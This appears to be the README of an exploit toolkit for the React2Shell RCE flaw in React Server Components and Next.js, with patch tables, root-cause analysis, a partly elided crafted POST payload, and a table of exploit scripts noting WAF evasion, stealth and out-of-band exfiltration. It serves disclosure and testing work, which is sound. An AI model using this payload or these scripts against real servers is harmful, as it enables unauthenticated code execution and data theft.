
RCE exploit toolkit for CVE-2025-55182 and CVE-2025-66478 in React Server Components. Includes multiple exploit variants, detection scripts, a vulnerable test server, and a deep technical analysis of the Flight protocol deserialization vulnerability.
CVE-2025-55182 (React) and CVE-2025-66478 (Next.js)
This repository contains exploit code for authorized security testing and educational purposes only.
See also: Multiple researchers have published analyses of this vulnerability. Check the References section for additional perspectives, exploit techniques, and detection methods.
On Wednesday, December 3rd, 2025, a critical Remote Code Execution vulnerability in React Server Components was publicly disclosed. The bug, dubbed "React2Shell," allows an unauthenticated attacker to execute arbitrary code on any server running vulnerable versions of React RSC or Next.js App Router by sending a single HTTP request.
Given how ubiquitous Next.js has become - it powers a significant portion of the modern web - the impact of this vulnerability is severe. Any Next.js application using the App Router (the default for new projects since Next.js 13) with RSC enabled is vulnerable. No special configuration. No specific endpoints. Just a POST request to any route.
The vulnerability lives in React's "Flight" protocol, the serialization format used to pass data between server and client in React Server Components. A missing hasOwnProperty check during deserialization allows prototype chain traversal, ultimately reaching the JavaScript Function constructor to execute attacker-controlled code.
The flaw exists in React's react-server-dom-webpack, react-server-dom-turbopack, and react-server-dom-parcel packages. Next.js, as the dominant RSC consumer, inherits the vulnerability through its App Router.
Many services are potentially vulnerable. Next.js is one of the most popular React frameworks, used by companies of all sizes - from startups to enterprises. The App Router with React Server Components has been the default architecture for new Next.js projects since version 13, meaning most modern Next.js deployments are affected.
Any application using:
react-server-dom-* packages (19.0.0 - 19.2.0)This includes production deployments on Vercel, AWS, self-hosted infrastructure, and anywhere else Next.js App Router applications run.
Not affected:
process.mainModule available)| Package | Vulnerable | Patched |
|---|---|---|
react-server-dom-webpack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-turbopack | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
react-server-dom-parcel | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1+ |
| Version Line | Vulnerable | Patched |
|---|---|---|
| 15.0.x | < 15.0.5 | 15.0.5+ |
| 15.1.x | < 15.1.9 | 15.1.9+ |
| 15.2.x | < 15.2.6 | 15.2.6+ |
| 15.3.x | < 15.3.6 | 15.3.6+ |
| 15.4.x | < 15.4.8 | 15.4.8+ |
| 15.5.x | < 15.5.7 | 15.5.7+ |
| 16.0.x | < 16.0.7 | 16.0.7+ |
Upgrade immediately. There are no workarounds.
For Next.js applications:
npm install next@latest
# or
pnpm update next
For direct React RSC usage:
npm install react-server-dom-webpack@latest
Verify your installed versions:
npm ls next react-server-dom-webpack react-server-dom-turbopack
Multiple attack vectors have been discovered for this vulnerability. The most common - and the one that works without any prerequisites - uses prototype pollution via React's Flight protocol reference system.
The exploit sends a crafted multipart POST request with a Next-Action header. The payload abuses the reference system to:
$1:__proto__:thenFunction constructorPOST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x
------Boundary
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"
"$@0"
------Boundary--
The code executes during deserialization, before any action ID validation occurs. This means any Next-Action header value triggers the vulnerable code path - no valid action ID is required.
Other attack vectors exist, including
$Ffunction references and direct module gadgets. These typically require a valid action ID. See Alternative Attack Vectors for details.
React's Flight protocol resolves references like $1:path:to:value by splitting on colons and traversing the object:
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
value = value[path[i]]; // No hasOwnProperty check!
}
The Irony: At the top of this very file, line 35:
import hasOwnProperty from 'shared/hasOwnProperty';The guard was imported. It was available. It just wasn't used in the one loop where it mattered most.
This single missing check allows $1:__proto__:then to traverse from a chunk object, up the prototype chain, to Chunk.prototype.then - a function that processes Promise-like objects. By crafting a fake chunk with the right properties, we control what code gets executed.
Clone the vulnerable test server:
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev
In another terminal:
./detect.sh http://localhost:3443
A vulnerable server returns HTTP 500 with E{"digest" in the response body. To demonstrate RCE:
./exploit-redirect.sh http://localhost:3443 "id"
Command output appears in the response. For interactive exploration:
./shell.sh http://localhost:3443
The vulnerable-next-server/ directory contains a pre-configured Next.js 16.0.6 + React 19.2.0 application for safe local testing. It runs on port 3443 by default. This is a minimal App Router setup demonstrating that default configurations are vulnerable.
We developed multiple exploit variants to handle different scenarios:
| Script | HTTP | Output | Production | Notes |
|---|---|---|---|---|
exploit-redirect.sh | 303 | x-action-redirect header | Yes | Recommended. No prerequisites. |
exploit-throw.sh | 500 | Error response body | No | Dev mode only (errors sanitized in prod). |
exploit-blind.sh | 200 | Server-side only | Yes | Fire-and-forget. Use for OOB exfil. |
exploit-urlencoded.sh | 303 | x-action-redirect header | Yes | Different WAF signature. Requires action ID. |
exploit-reflect.sh | 200 | Response body | Yes | Stealthiest. Requires action ID. |